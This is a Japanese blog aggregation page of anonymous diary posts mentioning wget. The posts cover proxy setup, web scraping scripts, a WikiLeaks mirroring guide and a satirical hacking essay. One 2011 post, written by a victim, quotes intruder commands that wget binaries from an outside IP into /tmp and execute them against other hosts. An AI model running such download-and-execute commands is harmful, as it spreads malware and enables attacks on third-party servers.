「wget」を含む日記 RSS

はてなキーワード: wgetとは

2018-06-13

anond:20180612130024

wgetFFmpegも使える中学生って、いったい、、、

というか、そういう女の子と付き合ってみたかった。

2018-06-12

anond:20180612125650

GUI普通に使えて、Ctrl+Alt+Tでターミナル起動してtouchやmkdirやcpmvを知っていてVim設定ファイル簡単な書き換えができる程度

たぶんwgetImageMagickFFmpegあたりも使えるはず

娘はやらん

2018-05-24

anond:20180524120121

まあ、特殊ケースはあるにしても

大凡そこらへんのHTTPクライアントツールでも解決が難しかったりそもそも不可能だったりするパターンもあるので、総合的に見て(勿論用途次第ではあるが)

wgetなどで完結させた方が工数は少なくなる傾向にはあるぞ

2016-05-14

for /l %a in (1,1,10) do wget --header "Cookie: over18=yes" "http://novel18.syosetu.com/*******/%a" -O %a &ping -n 30 127.1

2015-09-09

Linux Mint の各種プロキシ設定 (Ubuntuも同じ?)

以前も書いたかもしれないが..間違っていたらご指摘よろしく願います

システム共通(というかユーザーごと?)

Menu から「設定」の「ネットワークプロキシ」を開く。

もしくはこちらの方のページ http://forums.linuxmint-jp.net/viewtopic.php?f=6&t=859

「端末」からコマンドでいけるかも。

gsettings org.gnome.system.proxy.https host 'http://....'

gsettings org.gnome.system.proxy.https port 8080

gsettings org.gnome.system.proxy.http host 'http://....'

gsettings org.gnome.system.proxy.http port 8080

gsettings org.gnome.system.proxy.ftp host 'http://....'

gsettings org.gnome.system.proxy.ftp port 8080

apt-get

/etc/apt/apt.conf (ソフトウエアマネージャなんかも利用している)

こちらの方のページ(若干間違い) http://d.hatena.ne.jp/mrgoofy33/20100726/1280154695

プロトコル関係なく Acquire::(proto)::proxy "http://...:8080" 。

wget

/etc/wgetrc

こちらの方のページ http://www.geocities.jp/gronlijus/skill/linux/linux-wget-proxy.html

または http://qiita.com/HirofumiYashima/items/1015874766bd4afb5e2d

アドレスを見分けての自動除外指定はできるのかな...

2015-02-21

ハッキング極意3】ブラックハッカーになれ。そして世界を変えろ

アノニマスの坊や達、こんばんは

僕だよ。

前回の記事

【ハッキング極意2】武器を持て

ハッカーになりたい君たちの要望に応えるべく再び黄泉の国から舞い戻ってきたよ。

ハッカー…素晴らしい響きだ。

皆それになりたいと思う。

ハッカーになりたいという若い子は恐らくクラッカーみたいなのになりたがっているだろう。

そう裏の世界活躍するブラックハッカーだ。

中高生くらいならばなりたいと思っても、どうなるのか誰も教えてくれない。

親切な人たちが教えてくれるYahoo知恵袋などで『ハッカーになりたいです』とか書くとどうだ?

貴方のいっているのはクラッカーですね?ハッカーとは別物ですよ」

違法なことはいけません。通報しました。」

など、どうでもいい説教をされてしまう。

清く正しい中学生がなんだか気を利かせて、「ホワイトハッカーになりたいです」とか「ハッカーになりたいです違法行為しません」

などなど、変に気を使っている。

若いんだから夢見させろや。

ブラックハッカーになろう!!

そうだ!なろう!!裏の世界人間になろう!!そして世界を変えるんだ!!

ハッカーの種類。

ハッカーと言っても色々居るわけだ。

撮り鉄とか葬式鉄とか、ウィルスをばらまくハッカーとか、脆弱性を見つけて小銭稼ぐハッカーとか、OS作るハッカーとか、セキュリティポリシー精読して炎上させるハッカーとかね。

おっと…ウィルスかい専門用語つかってしまったね。

一般人には聞き慣れない言葉だろう。

ウィルスというのは細胞を持たないが遺伝子をもつ最小の生物なのだが、細胞を持たないため非生物とも言われている構造体だ。非生物らしく結晶化もできる。

宿主となる細胞に増殖をしていく。

そのウィルスコンピュータ世界に入り込み進化したものコンピュータウィルスと言われていて、生命の謎を握る存在なのだ

こう言われてもピンとこないだろうから、君たちにわかやすいモノで表現するとすると

まり電光超人グリッドマン』に出てくる怪獣のようなものだと思ってくれればいい。

ブラックハッカー

ハッカーと言われている人たちは大体ブラックハッカーだ。

ブラック、そう闇と言われるハッカーたちは自分自分所属する集団のために違法行為を厭わない連中だ。

ダースベーダーのようなアンチヒーローだ!

プログラマスキルによってその仕事スピード20倍にも40倍にも開きが出ると言われている。

その特A級ハッカーウィザードと言われるが、そのとおり魔導士のような不思議な力を使う。

ブラックハッカー魔法

ブラックハッカー特に魔法が得意と言われている。

工数が3人月だとしよう。3人ハッカーがいる。

しかし謎の力の仕様変更により納期は変わらず工数が9人月になった。

にもかかわらずだ納期は間に合い、しかも!稼働時間も3人月しか計上されていない。

これは何処かのタイミングで時を止めていると言われている。

たまに勤務管理システム上は有休になっているが、入館ログには出勤の形跡があることがある。

これは休み仕事の状態が重なり合っている量子力学的な状態を不思議な力で作り出しているのだ。

量子コンピュータは0の状態と1の状態が一つのビットで同時に表現できると言われているが、ブラックハッカーはすでに人間の身でありながら実現しているのだ。

事実量子コンピュータブラックハッカーの脳を再現する形で実現しようとしている。

量子コンピュータを作っている企業下請けに大量のブラックハッカーが居るのもそういうわけだ。

ウィルスをばらまくハッカーもいると言ったがブラックハッカーもその能力を持っている。

例えばインフルエンザエボラ出血熱などを持って出勤するのも彼ら得意技の一つだ。

また、違法行為も厭わない。

どんな違法行為をやっているかは良い子の皆が真似をしてしまっては困るのでとてもここでは言えないがね…

ブラックハッカーたちの活躍

ブラックハッカーたちは暗黒の存在とは言え我々の社会には無くてはならないものになってしまっている。

闇が深い金融業界や、日本国政府もこのブラックハッカーに頼らざるえなくなっているのだ。

おそらくマイナンバーではブラックハッカーのそうそうたる面々が集うことになるだろう。

ブラックハッカーになるには

どうだろう。

ブラックハッカーになりたくなったか

なる方法は簡単だ。

僕はブラックハッカーだと宣言し、入社をすればすぐになれる。

読者から質問コーナー

さて、今日は前回のコメントに付いていた

「神はXをつかうのか?」という質問について答えようと思う。

良い質問だ。

これは教義に関わるかなりナイーブ問題なんだ。

でも、いつだったか1000年位前の公会議で神はXを使うという事になったんだよ。

なぜXを使うことになったのか

裏の人間は黒い画面を好み、黒い画面でいろいろやろうと思っていた。

だが、次第に艦これもやりたくなってきた。

そのうち艦これやりたさに信仰を捨てWindowsに走るものや、過激派組織APPLEに見を投じる者も出てきた。

しか信仰心の篤い者達は我慢したBashでなんとかやろうと我慢した。

VimTwitterをやったり、Wgetテキストサイトを見たりしていた。

だが、XVIDEOSの誘惑には勝てなかったのだ。

その当時のハッカーたちはLinuxでもXVIDEOSを見るシステムを開発しようとした。

それが『XVIDEOS Window System』つまりXだ。

Xは黒い画面とXVIDEOSの間から妥協として生まれたが、そのうちそれでも良いかという空気になりXは流行った。

Xを使うものは我慢していた艦これもやり始めたのだが、

なんとDMMに登録するとAV動画も見れるサービスがあることをしることになった。

Linuxでは艦これは出来てもDMM動画を見ることは出来ない。

悪しきWMVで公開されてDRMがかかっているし、ストリーミングも何故か映らないのだ!!

XVIDEOSの細切れで続きが何処にあるかわからないAVよりも、有料だけども安心して見れるDMMのほうが良いというものが増え

Windowsに逃げてしまう者が増えてしまった。

そうやってLinux信者数を減らしてしまい今では生きる場所裏社会のみになってしまったのさ。

そういう経緯があるので、神はXを使っていることになっている。

新作

http://anond.hatelabo.jp/20150224002209

2014-12-22

advent calendarに、他人記事をコピぺする行為について。(追記あり)

すこし前、go advent calendarの遅延投稿について話題になりましたね。

go advent calendar↓

http://qiita.com/advent-calendar/2014/go

私自身、AC自体責任を持って記事を書けとまでは求めていません。楽しく記事を書くのが一番ですから書けなかったり、遅れてしまっても仕方がないと思います

ただ、遅延投稿した彼がとった行動が到底理解し難いものでした。

彼の記事-gobrewでバージョン管理(追記あり)

http://qiita.com/7yan00/items/916d5804f0397f9af272

qiita記事を読む限り、自分で書いたとの内容がありますね。

gobrew - 複数バージョンGoも簡単に管理、切り替え

http://www.moongift.jp/2014/05/gobrew-%E8%A4%87%E6%95%B0%E3%83%90%E3%83%BC%E3%82%B8%E3%83%A7%E3%83%B3%E3%81%AEgo%E3%82%82%E7%B0%A1%E5%8D%98%E3%81%AB%E7%AE%A1%E7%90%86%E3%80%81%E5%88%87%E3%82%8A%E6%9B%BF%E3%81%88/

見た瞬間アレ?と首を傾げてしまいました。

curlwget どちらかでいいのに2回とも同じことをしています

2度installしているのですから

自然過ぎます

記事ではどちらか一方でときちんと記されていますね。

彼は高校生らしいですが、既にある記事コピペ(元記事の方がまし)したような記事qiita投稿するのは、高校生でも良くないということがわかると思います。おそらくACを書いていないことで煽ったユーザー炎上してしまったので、急いで記事を書こうとしたが書けなかったのでしょう。

コピペが一部だから問題ないのでは?という意見もありますが、記事の内容と量を確認してほしいと思います

最後にadvent calendarを必ず書かなくてはいけないなどの責任は無いと私は思いますしか記事を書けなかったかコピペというのはすこしおかしいのではないでしょうか?論文コピペして理研に入った人も今話題です、彼の行動力は認めるけれど、将来が心配になりました。

マナーを守れば楽しいACになると私は思います

追記

彼がこの記事確認したのかqiita記事に追記されています

goを書いている他のひとに迷惑がかからないようにと願っています

2014-04-01

http://anond.hatelabo.jp/20140331142937

wget派がいるとはおもわんだ。俺はw3mなので人のこと言えませんが

最近まとめが出てるからホッテントリはこっち見ること多し

http://otatin.com/masuda/

http://anond-ranking.info/

2013-10-03

Linux Mint 15 日本語化

こちらに丁寧に記載されていて、感謝の限りです。

注意は

$ wget -q http://linuxmint-jp.net/linuxmint-ja-archive-keyring.gpg -O- | sudo apt-key add -

$ sudo wget http://linuxmint-jp.net/sources.list.d/linuxmint-ja.list -O /etc/apt/sources.list.d/linuxmint-ja.list

$ sudo apt-get update

$ sudo apt-get dist-upgrade

の、最初の行の -0- は、英大文字のオーかゼロ。 2行目は 英大文字のオー。

最初-O-をオーでやったら「PGPファイルがみつかりません」とエラーになった。ここを数字ゼロにしたらあっさり"OK"と表示。このエントリに「ゼロです」を書いたものの、上記公式ページをみるとどうもゼロには見えない。念のためにもう1回ゼロでやってみたら「無効オプションだってさ(なので投稿内容を直した)。じゃあ「オー」が正しいのかよ?けど、おい数字ゼロでうまくいったんだぜ。最近、いろいろPC馬鹿にされてるわ。VirtualBoxインストールしていたので手打ちで実行させたから、コピペ可能環境ならいちいちこんなことで問題にならなかったのかな?まさかコピペのオーはOKで、手打ちのオーはNG

あと、プロキシ環境下でのインストールでは

su

スーパーユーザーになってから

export http_proxy="http://プロキシサーバ>:<ポート>"

として wgetプロキシサーバを教えます

さら

/etc/apt/ のなかに apt.conf というファイル作成して

Acquire::http::proxy "http://プロキシサーバ>:<ポート>";

最後セミコロン)の1行を書き込みますapt-get へ教えます

あとは sudo 部分のみ不要で、同じようにコマンドを流してやりましょう。

Linux Mint 15 (XFCE版) で wgetプロキシサーバを指定する

他の Linux 同様に、環境変数を読むようですね。

export http_proxy="http://プロキシサーバ名>:<ポート>"

export https_proxy="http://プロキシサーバ名>:<ポート>"

などと指定すればOKのようです。

sudo wget のように、スーパーユーザーで利用するときは、当然スーパーユーザー環境で動作するので、私は

su

スーパーユーザー根本的にシェルユーザーを切り替えて、sudo 切り替えなしで wget を利用しました。

すなわち suスーパーユーザーになってから export http_proxy=... を発行。sudo wget ... ではなくそのまま wget ...。

sudo export

は "command not found"。"export" は DOS の内部コマンドみたいなものなのでしょう。

以上のことは、インストール最初日本語化設定のときに使いました。

2011-07-29

クラッキングされたサーバで実行されていた怪しいコマンド晒す

うちの大したことに使ってもいないのに常時稼動で外部公開なサーバクラックされて以下のコマンドが実行されていた。

sh -c cd /tmp;wget ttp://195.69.220.2/dd_ssh;chmod 755 dd_ssh;./dd_ssh 50 217.79.190.53 2 >/dev/null 2>/dev/null
sh -c cd /tmp;wget ttp://195.69.220.2/slowdssh;chmod 755 slowdssh;./slowdssh  >/dev/null 2>/dev/null
sh -c cd /tmp;killall -9 ssh2;wget ttp://195.69.220.2/ssh3;chmod 755 ssh3;./ssh3 200 72.20.14.174 >/dev/null 2>/dev/null

((正式なリンクだと502エラーが出て書き込めないのでhを抜いてあります。))

このコマンドを実行するとドイツサーバからプログラムダウンロードして実行するみたい。

ちなみに、いろんなサーバssh接続を試みるプログラムっぽい。

このプログラムたちは2007年11月頃にビルドしたApache/2.0.61にぶら下がって動いていた。

ログは綺麗さっぱりなくなっていて、2011年7月24日以降の情報しか残っていなかった。

どうやって侵入して実行したのか分からなかったけど、古いApacheと一緒に動いていたのでApache更新しなかった自分が悪いと思っている。

「dd_ssh」や「ssh3」の引数を書き換えて実行してみたいけど、それって犯罪じゃないかと思うと怖くてできない。

誰か詳しく調べてちょ。

2011-07-25

poptop pptpd (PPTPサーバ) on CentOS5

1.POPTOPから最新版ダウンロード

wget http://sourceforge.net/projects/poptop/files/pptpd/pptpd-1.3.4/pptpd-1.3.4.tar.gz/download

2.tgzを解凍

tar xvzf ./pptpd-1.3.4.tar.gz

3. ./configure 実行

4. make 実行

5. make install 実行

コンパイルするので、ccgccが必要。

しかし、設定ファイルうんぬんを考えたら先でもハマりそうな予感がしたので

結局yumインストールした。

CentOSyumがうまくできない時 - デフォルトGW設定

http://blog.mizoshiri.com/archives/93

(Cloud 9 さん ブログ)

社内サーバからはOKなのに

社外のサーバyumばかりかwgetpingもことごとくだめって、

FWの設定間違えたかな...などと考えをめぐらせつつググってみたら、こちらに解決手順が。


Windowsだと、デフォルトゲートウエイNICTCP/IP設定画面に含まれているけど

それって考えてみたら、デフォルトゲートウェイコンピュータ(ホスト)固有だからおかしいよね。

/etc/sysconfig/network-scripts/cfg-eth0

の項目をいじっても社外につながらなかった(/etc/sysconfig/networkGW設定も必要)

ことへのグチですけど。。

(デフォルトGWの設定画面含めて、route tableに統一して編集する方式も、OS設計的にアリだよな)。

2010-12-06

Wikileakswget -m でページ丸ごとダウンロードする方法

というか表題のコマンドを実行するだけであまり説明することもないが。

wikileaks.org でアクセス出来なくなったのもあり、いつサイト自体が無くなってもおかしくない(まぁ当初からずっとそうだけど)ので興味ある命知らずは丸ごとダウンロードしておくことをおすすめする。


WikileaksPaypal停止と「言論の自由」問題 | WIRED VISION
http://wiredvision.jp/news/201012/2010120523.html

(追記 2010-12-06)今日 wget してみたところ、1,708 ファイルで 67.0MB だった。大体 1 時間位でダウンロード完了できた。


wget の準備

Windowswget ないぜって人はこの辺から落としてこい。


wgetWindows版) - 俺の基地
http://yakinikunotare.boo.jp/orebase/index.php?wget%A1%CAWindows%C8%C7%A1%CB

Mac OS XmacportsLinuxapt-get やら yum やら使って適当インストールしてください。


wikileaks へのリンク

http://wikileaks.org (上述の記事の通り、DNS の登録から外されたらしい)

http://213.251.145.96/(多分本家

http://wikileaks.ch/(ミラーコピーサイト?)


コマンド

mkdir wikileaks

cd ./wikileaks

wget -m http://213.251.145.96/

※ "213.251.145.96" は wikileaks.org の登録元 IP。(だと思う)

あと、wikileaksミラーサイトになってくれるところを募集しているらしいので、更に命知らず(リアル命とセキュリティアタック的な意味で)な人はこの手順に従ってミラーサイトが公開できますよ。ちょいと wikileaks なんとかっていうドメインサーバスペースを契約してミラー作ってあげたらいいんじゃないですかね。


Bash | #### tutorial about how to set up a wikileaks mirr - Wikileaks mirroring tutorial(英語
http://pastebin.com/6q6E3Z0C

ちゃんと匿名ダイアリーで書いてるし(wikileaks.hatena.ne.jp まだかな!)、はてなの人も言論の自由を脅かすなんてことは、おっと誰か来たようだ

2010-09-02

岡崎市立中央図書館には結局クロールして良いの?

今後は岡崎市立中央図書館ウェブサイトクローラアクセスしてよいの?

wgetしちゃっていいの?

波乗野郎しちゃっていいの?

岡崎市立中央図書館はLibrahack氏に謝れよ。本当に。

平成十七年(2005)の設計だから想定していなかったって阿呆ですか。

波乗野郎の発売は1996年だ。wgetもその頃からある。この時点で庶民にクローラ需要があったんだぞ。

俺だって十年前から自動巡回も一括取得も当たり前にやってた。

品質製品を発注してしまった責任を取りたくないから認められないのか?

三菱から見返りでももらっていたのか?

合法だけど迷惑行為だったとでも言いたいようだが、迷惑を受けたのは逮捕された側だっての。

今まで落ちなかったのは、たまたまそうやって利用されていなかっただけだろ。

利用者の方におかれましては、情報収集のために使われる手段が、他の利用者に迷惑をかけていないかどうかについて、ご配慮をお願いいたします。

同時1コネクション限度でアクセス毎に1秒ウェイトは十分すぎるほど配慮してるじゃないか。

何百メガバイトものファイルを大量に落としたわけでもない。

頻度も大域も1万円の中古パソコンでもさばける程度のアクセスしかしてないじゃないか。

この図書館は最悪だな。こんなだから逮捕者まで出してしまったんだ。

三菱も悪いが図書館の態度も大きな原因だろう。無知でしたとか言う次元じゃない。

こんな図書館だから、こんな商品発注して、この有様なんだとしか言いようがない。

2009-03-10

http://anond.hatelabo.jp/20090310161507

#!/bin/bash

for h in {0..23}; do
  for m in {0..59}; do
    name=$(printf "http://www.bijint.com/jp/img/photo/%02d%02d.jpg" $h $m)
    for i in {1..10}; do
      if `wget $name`; then
        break
      fi
    done
  done
done

2008-11-22

http://anond.hatelabo.jp/20081122024106

man wget すればわかるけど、-l で階層指定して、-A で拡張子指定出来るから、

そんなにperlとか登場させる必要ないぞ?

2008-10-18

real street angels から mechanize を使って動画を取ってきてEmacsで見てみるよ

せっかく書いたから匿名でのせてみるよ

使い方は

  • 動画を取ってきたいよ
    • config.yamlユーザとかを設定するよ
    • ids.txt に取ってきたいIDを書くよ
    • sangels.bat を実行するよ
  • Emacs動画を見たいよ
    • sangels.el を load するよ
    • M-x sangels だよ

必要なものを gem で取ってくるにはこうすればいいよ

  • gem install -r log4r
  • gem install -r -v 0.6 hpricot
  • gem install -r mechanize

長すぎてelispが消えたから続きがあるよ

sangels.bat - 起動用バッチファイル

@echo off
setlocal
set WD=%~dp0
cd /d %WD%

ruby get_movies.rb
ruby get_images.rb
ruby create_m3u.rb

ruby

config.yaml - 設定ファイル
user: ユーザID
password: パスワード
ids_file: ids.txt
done_file: ids_done.txt
movies_dir: movies

log4r_config:
  pre_config:
    global: INFO
  loggers:
    - name: app
      type: Log4r::Logger
      level: INFO
      outputters:
        - STDOUT
        - FILE
  outputters:
    - name: STDOUT
      type: Log4r::StdoutOutputter
      formatter:
        type: Log4r::PatternFormatter
        pattern: "%d [%l] %C - %M"
        date_pattern: "%H:%M:%S"
    - name: FILE
      type: Log4r::FileOutputter 
      filename: "#{LOGDIR}/sangels.log"
      formatter:
        type: Log4r::PatternFormatter
        pattern: "%d [%l] %C - %M"
        date_pattern: "%Y-%m-%d %H:%M:%S"
get_movies.rb
require 'fileutils'
require 'logger'
require 'mechanize'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"
require "#{BASEDIR}/sangels"

$config = load_config(BASEDIR)
prepare_logger(BASEDIR)
$log = new_logger("get_movies")
WWW::Mechanize.log = new_logger("mechanize")
WGet.log = $log

class IDFile
  def initialize(file)
    @file = file
    unless File.exist?(@file)
      Fileutils.touch(@file)
    end
  end

  def ids(contains_comment = nil)
    File.open(@file) {|io|
      io.to_a.map {|x|
        x.chomp
      }.select {|x|
        if x.empty?
          nil
        elsif contains_comment
          true
        else
          not /^\s*\#/ =~ x
        end
      }
    }
  end

  def add(id)
    ids = ids(true)
    unless ids.any? {|x| x == id}
      write(ids + [id])
    end
  end

  def delete(id)
    ids = ids(true)
    if ids.any? {|x| x == id}
      write(ids - [id])
    end
  end

  def write(ids)
    File.open(@file, "w") {|io|
      ids.each {|x| io.puts x}
    }
  end
end


$log.info("BEGIN #{$0} ================")
exit_code = 0
begin
  ids_file = IDFile.new($config.ids_file)
  done_file = IDFile.new($config.done_file)
  movies_dir = $config.movies_dir
  wget = WGet.new

  sangels = SAngels.new
  sangels.login($config.user, $config.password)
  ids_file.ids.each {|id|
    begin
      movies = sangels.movies(id)
    rescue SAngels::Movies::InvalidMoviesError
      $log.warn("invalid movie id: #{id}")
      next
    end
    dir = File.expand_path(id, movies_dir)
    movies.each {|link|
      wget.retrieve(link.href, dir)
    }
    expected = movies.movie_links.map{|x| File.basename(x.href)}
    actual = Dir.glob("#{dir}/*").map {|x| File.basename(x)}
    if (expected - actual).empty?
      done_file.add(id)
      ids_file.delete(id)
    end
  }
rescue => e
  $log.error(e)
  exit_code = 1
end

$log.info("END #{$0} (#{exit_code}) ================")
exit exit_code
get_images.rb
require 'fileutils'
require 'logger'
require 'mechanize'
require 'ostruct'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"
require "#{BASEDIR}/sangels"

$config = load_config(BASEDIR)
prepare_logger(BASEDIR)
$log = new_logger("get_images")
WWW::Mechanize.log = new_logger("mechanize")
WGet.log = $log

$log.info("BEGIN #{$0} ================")
exit_code = 0
begin
  movies_dir = $config.movies_dir
  sangels = SAngels.new
  sangels.login($config.user, $config.password)
  thumbnails = sangels.thumbnails

  Dir.glob("#{movies_dir}/*").each {|dir|
    next unless File.directory? dir
    id = File.basename(dir)

    url = thumbnails.url(id)
    unless url
      $log.warn("#{id} is not found")
      next
    end
    path = File.expand_path("00_thumbnail#{File.extname(url)}", dir)
    next if File.exist? path

    $log.info("retrieving #{url}")
    thumbnail = thumbnails.get_file(id)
    File.open(path, "wb") {|io| io.write(thumbnail)}
  }
rescue => e
  $log.error(e)
  exit_code = 1
end

$log.info("END #{$0} (#{exit_code}) ================")
exit exit_code
create_m3u.rb
BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"

$config = load_config(BASEDIR)
movies_dir = $config.movies_dir
Dir.glob("#{movies_dir}/*") {|dir|
  next unless File.directory? dir
  name = File.basename(dir)
  files = Dir.glob("#{dir}/*.wmv").sort

  File.open("#{movies_dir}/#{name}.m3u", "w") {|io|
    files.each {|file|
      io.puts "#{name}/#{File.basename(file)}"
    }
  }

  File.open("#{dir}/00_movies.m3u", "w") {|io|
    files.each {|file|
      io.puts "#{File.basename(file)}"
    }
  }
}
sangels.rb
require 'mechanize'
require 'hpricot'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"

class SAngels
  HOST = "real2.s-angels.com"
  LOGIN_URL = "http://#{HOST}/member/"
  INFO_URL = "http://#{HOST}/teigaku/item.php"
  THUMBNAILS_URL = "http://#{HOST}/teigaku/"
  THUMBNAIL_URL = "http://#{HOST}/images/default/thumb/"

  def initialize()
    @agent = WWW::Mechanize.new
  end

  def login(user, password)
    login_form = @agent.get(LOGIN_URL).forms.find {|form|
      form.fields.any? {|field| field.name == "frmLoginid"}
    }
    login_form.frmLoginid = user
    login_form.frmPw = password
    @agent.submit(login_form)
  end

  def movies(id, no_validate = nil)
    Movies.new(@agent, id, !no_validate)
  end

  def thumbnails
    Thumbnails.new(@agent)
  end

  class Thumbnails
    def initialize(agent)
      @agent = agent
      doc = Hpricot(@agent.get_file(THUMBNAILS_URL))
      elems = doc.search("div[@class=realthum]/a")
      @links = Hash(
        elems.map {|elem|
          href = elem["href"]
          id = $1 if /ID=(.+)/ =~ href
          url = elem.search("img")[0]["src"]
          [id, url]
        })
    end

    def get_file(id)
      @agent.get_file(url(id))
    end

    def url(id)
      @links[id]
    end

    def exist?(id)
      url(id)
    end
  end

  class Movies
    class InvalidMoviesError < StandardError
    end

    def initialize(agent, id, no_validate)
      @agent = agent
      @id = id
      if !no_validate &amp;&amp; !valid?
        raise InvalidMoviesError
      end
    end

    def info_page_url
      "#{INFO_URL}?ID=#{@id}"
    end

    def info_page
      @agent.get(info_page_url)
    end

    def movies_page
      @agent.click(info_page.links.find {|link| /P=10/ =~ link.href})
    end

    def movie_links
      movies_page.links.select {|link|
        /wmv$/ =~ link.href
      }.sort {|a, b|
        File.basename(a.href) <=> File.basename(b.href)
      }
    end

    def valid?
      info_page.uri.to_s == info_page_url
    end

    def each(&amp;block)
      orig_links = movie_links
      orig_links.each {|orig_link|
        link = movie_links.find {|l| File.basename(l.href) == File.basename(orig_link.href)}
        block.call(link)
      }
    end
  end
end
util.rb
require 'log4r'
require 'log4r/yamlconfigurator'
require 'singleton'
require 'fileutils'
require 'ostruct'

def Hash(a)
  Hash[*a.flatten]
end

def load_config(basedir)
  OpenStruct.new(File.open("#{basedir}/config.yaml") {|io| YAML.load(io)})
end

def new_logger(name)
  Log4r::Logger.new("app::#{name}")
end

def prepare_logger(basedir, logdir = nil)
  logdir ||= basedir
  Log4r::YamlConfigurator["LOGDIR"] = logdir
  Log4r::YamlConfigurator.load_yaml_file("#{basedir}/config.yaml")
end

class NullObject
  include Singleton
  def method_missing(message, *arg)
    NullObject.singleton
  end
end

class WGet
  class << self
    attr_accessor :log
    def initialize
      super
      @log = NullObject.singleton
    end
  end
  
  def log
    self.class.log
  end

  def retrieve(url, dir)
    FileUtils.mkdir_p(dir)
    file = File.expand_path(File.basename(url), dir)
    if File.exist?(file)
      log.info("already retrieved #{url}")
      return true
    end

    tmp = "#{file}.part"
    log.info("retrieving #{url}")
    ret = system("wget", "-c", "-O", tmp, url)
    if ret
      log.info("retrieving succeeded #{url}")
      File.rename(tmp, file)
    else
      if $? == 0x020000 # Ctrl-C
        exit($?)
      else
        log.error("retrieving failure #{url} (#{$?})")
      end
    end
    return ret
  end
end

2008-09-25

[]

http://www.ubuntulinux.jp/products/JA-Localized http://www.ubuntulinux.jp/

http://jody.sci.hokudai.ac.jp/~ike/colum/ubuntu_feisty_amd64.html

wget -q http://www.ubuntulinux.jp/ubuntu-ja-archive-keyring.gpg -O- | sudo apt-key add -

sudo wget http://www.ubuntulinux.jp/sources.list.d/hardy.list -O /etc/apt/sources.list.d/ubuntu-ja.list

sudo apt-get update

sudo apt-get install ubuntu-desktop-ja

sudo apt-get install ubuntu-ja-keyring

sudo apt-get upgrade

sudo apt-get install language-pack-gnome-ja language-pack-ja

sudo apt-get install ipafont ipamonafont lha-sjis

sudo apt-get install scim-anthy

sudo apt-get install scim-bridge im-switch

sudo apt-get install openoffice.org-l10n-ja openoffice.org-help-ja mozilla-firefox-locale-ja-jp

im-switch -l

2008-08-01

http://anond.hatelabo.jp/20080801154904

なんか呼ばれた気がしなくもない。

ここ1年程の、ほぼすべてのエントリナンバは提供できると思う。

ただ、削除されたエントリもそれなりに入ってるけど、入ってないものも多い。そんなデータ

たぶん10万件×14桁で1.5Mほどかな。圧縮すれば2割くらいになってくれるだろうか。

いる人いる?

しかし、日単位なら365リクエストでいけるから、とってきた方が早いかも。

shならwgetsedperlならWeb::Scrapergmならgm_xhrか。

rubypythonは知らない。

xpathgraphという手もあるな。総計値になるけど。差分や統計が取れたらもっと面白いのに。

はてなグラフインポートできないかな。

2008-04-22

手順

とりあえず更新

まず、stable の最新版にアップデート

# apt-get update
# apt-get dist-upgrade

apt-line 変更

そしたら /etc/apt/source.list を編集

deb http://www.example.org/pub/ stable main contrib non-free
deb-src http://www.example.org/pub/ stable main contrib non-free
…

の stable を unstable に変更すれば OK。

sid

そしたらもう一回更新すれば OK。

# apt-get update
# apt-get dist-upgrade

いろいろインストール

おれのこのみだけど。

# apt-get install aptitude gnupg locales openssh-server screen subversion subversion-tools wget zsh

UTF-8

下のコマンドをたたいてしつもんにこたえて、UTF-8 にする。

# dpkg-reconfigure locales

最後に

念のため、aptitude更新しとく。

# aptitude update
# aptitude dist-upgrade

2008-02-02

Friio - フリーオヤフオクで売ったんだが

違反申告大杉wwwwwwww

夜中でも容赦なくメールバンバンきてた。

それにしても、転売ヤーさんいっぱい居ますね。

今は第4弾出荷品がいっぱい出品されてるので、だいぶ相場は落ちてますが、それでもまだ倍になる。

とりあえず、私はもう売り抜けたので関係ありませんのでw、

誰が作ったか知らないけど違反申告の方が使えるページを紹介します。

http://jsn-home.net/~friio/search.php

Yahoo!ログインした状態で使ってください。ワンクリック違反申告できます。

夜中の3時くらいに使ってください。出品者のケータイメールアドレスメールが送れますw

PCには専用のアドレスから送られてくるので弾けるのですが、ケータイはなぜか落札通知などと同じアドレスからくるのでdenyできません。

なお、ドライバダウンロードする際には購入者のメールアドレスが必要なのですが、教えなくてもDLさせることができます。

とあります。

メールアドレスblogで検索して探す方法ですが、「フリーオ 買った」とかで検索すればいくつか見つかりますので。終わり。

簡単なスクリプトDLさせる方法は、以下のようなURIリダイレクトするようなスクリプトを書けばいいです。

http://mailaddress:friio@www.friio.com/download/secure/friio-latest.zip

向こう側の認証機構が単純なので、ユーザー名とパスワードURIに含めてリクエストさせればOKです。

zipでくれ!みたいに、Wgetを使い、Cronで毎日回して(blog検索で見つけたメールアドレスを使ってw)、

更新があれば保存しておき、ユーザーにはそれをDLさせるとかすればリクエストヘッダには何も情報出ませんし。

Yahoo!なら受け取り後決済を使うと個人情報は一切向こうに渡らないので、完全隠密行動が可能になります。

警察捜査入ったら一発で終わるとは思いますがw)

なお、フリーオを使った感想ですが、30分もののアニメなら、最短で放送終了から45分くらいでニコニコうpできます。

AviUtilに読ませるために変換するのに5分。エンコに30分ってとこです。後はニコニコエンコード待ち。

まぁ使いたい人はがんばって公式サイトから買いましょう。俺が言うのもおかしいですがw

2007-09-27

[]11日目

前回までのあらすじ

[Ruby]10日目

http://anond.hatelabo.jp/20070925223241

id/passの再発行を申請したら届いたのはなんとブログid/passだった!!

はたして締め切りに間に合うのか!!


はい、間に合うはずもありませんね。

夏休み宿題夏休みがおわってからやる主義の増田ですこんにちは

一応エントリーだけはしておきました。

サービス開始できてないけどな!


今日Ruby(正確には24時間ぐらいまえの)

next if  :nextcontinueみたいな感じ。この表記に違和感

unless  :こんな書き方にはなにかなじめない。

一行if文が嫌いな増田には余計耐えられない。

@user = params[:id].nil? ? @myuser : User.find(params[:id])

こういう書き方が嫌い。意味わからん。

画像DB格納で苦戦

正直嵌った。

win環境がどうのがいけなかったのかと、

あれこれいじってみたのだけど、そうではなかったようだ。

start_form_tagに :multipart => true がぬけていた。

あと、{}で引数位置指定しないといけないんだと…。

http://techno.hippy.jp/rorwiki/?HowtoUploadFiles
http://www.fdiary.net/ml/rails/msg/1375/0/
start_form_tag({:action => 'create'}, :multipart => true)

これは結構やりがちなミスかもしれない。

ちなみに、本のサンプルも間違っていたので余計嵌った。

image_tagで拡張子なしのファイルを読み込むと勝手png拡張子がついてくる。

おかげさまで表示されない。

http://mumrik.air-nifty.com/blog/2007/05/16_r185r186_6.html

